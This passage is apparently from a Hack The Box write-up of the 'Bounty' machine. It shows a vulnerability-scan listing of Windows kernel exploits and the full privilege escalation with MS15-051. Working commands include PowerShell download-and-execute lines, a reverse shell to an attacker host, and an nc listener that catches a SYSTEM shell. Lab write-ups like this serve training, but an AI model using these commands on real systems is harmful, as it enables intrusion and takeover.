MSBulletin : MS10-015
CVEID : 2010-0232
Link : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems
Title : Task Scheduler .XML
MSBulletin : MS10-092
CVEID : 2010-3338, 2010-3888
Link : https://www.exploit-db.com/exploits/19930/
VulnStatus : Appears Vulnerable
Title : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID : 2013-1300
Link : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID : 2013-3881
Link : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems
Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable
Title : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID : 2015-1701, 2015-2433
Link : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable
Title : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID : 2015-2426, 2015-2433
Link : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable
Title : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID : 2016-0051
Link : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems
Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Not Supported on single-core systems
Title : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID : 2016-0093/94/95/96
Link : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS1
6-034?
VulnStatus : Not Vulnerable
Title : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID : 2016-7255
Link : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/S
ample-Exploits/MS16-135
VulnStatus : Not Vulnerable
Title : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID : 2017-7199
Link : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.h
tml
VulnStatus : Not Vulnerable
PS C:\users\merlin>
So from this output, there’s likely 2 exploits we can choose from: https://www.exploit-db.com/exploits/19930/ or https://www.exploit-db.com/exploits/37367/.
a failed exploit attempt
Let’s check out 19930 first. It looks like there’s a variant that’s a windows script file (.wsf), so may need no compiling. Let’s download it to our exploits folder, and grab it with powershell:
IEX(New-Object Net.Webclient).downloadstring('http://10.10.14.50:8080/15589.wsf')
This seems to bomb out, so let’s try something else. After a number of attempts with variants of both the exploits that showed as ‘Appear Vulnerable,’ I found one that works:
a working exploit for a system shell
wget https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe
--2020-01-27 20:33:30-- https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe
Resolving github.com (github.com)... 192.30.253.112
Connecting to github.com (github.com)|192.30.253.112|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/rootphantomer/exp/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe [following]
--2020-01-27 20:33:30-- https://raw.githubusercontent.com/rootphantomer/exp/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 199.232.32.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|199.232.32.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 55296 (54K) [application/octet-stream]
Saving to: ‘ms15-051.exe’
ms15-051.exe 100%[======================>] 54.00K --.-KB/s in 0.04s
2020-01-27 20:33:31 (1.45 MB/s) - ‘ms15-051.exe’ saved [55296/55296]
OK, the exe for MS15-051 more info here should be staged in our exploits folder, and since that directory is still being served from let’s grab it with the user shell we have on the target system:
PS C:\users\merlin> (New-Object System.Net.WebClient).DownloadFile('http://10.10.14.50:8080/ms15-051.exe', 'c:\users\merlin\ms15-051.exe')
OK, no let’s create a copy of reverse_shell.ps1 called system.ps1 in our exploits folder, and change the invocation line for a new socket for our listener for the system shell to call back on:
root@kali:/writeups/HTB/bounty/exploits# tail -n2 system.ps1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.50 -Port 4444
Start another listener on the new port to catch the shell, if it spawns with nc -lvnp 4444
Then, finally, from the merlin user shell on the target, run the PrivEsc exploit, to grab and run the remote system.ps1 script:
PS C:\users\merlin> .\ms15-051.exe "cmd.exe /c powershell.exe -c IEX(New-Object Net.Webclient).downloadstring('http://10.10.14.50:8080/system.ps1')"
And if we check our listener, we see we got a new shell, with NT_AUTHORITY_SYSTEM privs, and we can grab root.txt:
root@kali:/writeups/HTB/bounty/exploits# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.50] from (UNKNOWN) [10.10.10.93] 49178
Windows PowerShell running as user BOUNTY$ on BOUNTY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\users\merlin>whoami
nt authority\system
PS C:\users\merlin> cd c:\Users\Admin
cd C:\users\administrator\Desktop
dir
Directory: C:\users\administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 5/31/2018 12:18 AM 32 root.txt
Conclusions
Recommended Remediations
-
Input validation and/or content filtering should be placed on the webapp. If there’s no valid need for a user to uplaod a .config file, this extension should be blocklisted. This could likely be done with a Web Application Firewall (WAF) as well.
-
The system should be patched and kept up to date – no hotfixes/patches are currently applied.
Personal Takeaways
-
I need to get more familiar with Burp Suite & Powershell Syntax
-
Need to be overall quicker at figuring out a valid PrivEsc path
All for now – until next time
~@initinfosec
Let me know what you think of this article on twitter @initinfosec or leave a comment below!